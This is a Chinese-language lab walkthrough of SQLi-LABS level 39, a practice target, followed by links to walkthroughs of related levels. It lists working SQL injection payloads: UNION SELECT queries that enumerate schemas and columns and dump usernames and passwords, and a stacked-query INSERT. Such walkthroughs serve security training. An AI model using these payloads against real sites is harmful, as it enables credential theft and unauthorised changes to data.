SQLi LABS Less-39

第三十九关请求方式为GET请求 , 注入类型为整形注入

第一步,判断注入类型

?id=2 and false -- a

SQL不成立时 , 不报错,并且无显示 , 说明拼接后的SQL可以正常执行 , 固注入类型为整形注入

源码如下

mysqli_multi_query() 可同时执行多条SQL语句 , 满足叠加注入的条件

第二步,判断字段数

使用 order by 测试字段数

?id=2 order by 4 -- a

从第1列开始排序 , 依次加1 , 至4列时报错 , 固字段数为3

第三步,判断显示位置

联合查询测试字段显示的位置

?id=-1 union select 1,2,3 -- a

此处的 id=-1 , 由于用户id不为负,所以该SQL查询不出用户数据,返回的结果只有联合查询的 1 2 3 这一条数据 , 目的在于方便结果的展示

第四步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(schema_name)
from information_schema.schemata)-- a

下一步 , 根据 security数据库 , 获取其所有表

第五步,获取所有表

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security')-- a

存储的 group_concat() 可以将多行结果合并为一行 , 目的在于更好的展示效果

users表为用户表 , 下一步根据 users表获取其所有字段

第六步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

?id=-1 union select 1,2,
(select group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users')-- a

至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据此信息获取账号密码

第七步,获取账号密码

?id=-1 union select 1,2,
(select group_concat(username,'~',password)
from security.users)-- a

第八步,叠加注入

?id=1; insert into users(id,username,password)
values(20,'zhangsan','123')-- a

插入的成功与否 , 页面不会显示 , 我们直接通过id访问

SQLi LABS Less-39相关推荐

SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
sqli——labs初学者通关详
目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...
SQLi LABS Less-8 布尔盲注
「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者第八关是单引号字符型注入,推荐使用布尔盲注方式一:布尔盲注第一步.判断注入 ...
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示再输入 1") an ...
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可后端源码中并没有做什么过滤,只是在参数两边添加了双引号输入 1" and true-- a,页面正常显示输入 1&quo ...
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可源码中并没有做什么过滤,直接测试注入点即可在url中输入 1'and true-- a,源码中的SQL会拼接成下面这样注释后面的内 ...
SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注
第26关是单引号字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录一.功能分析二 ...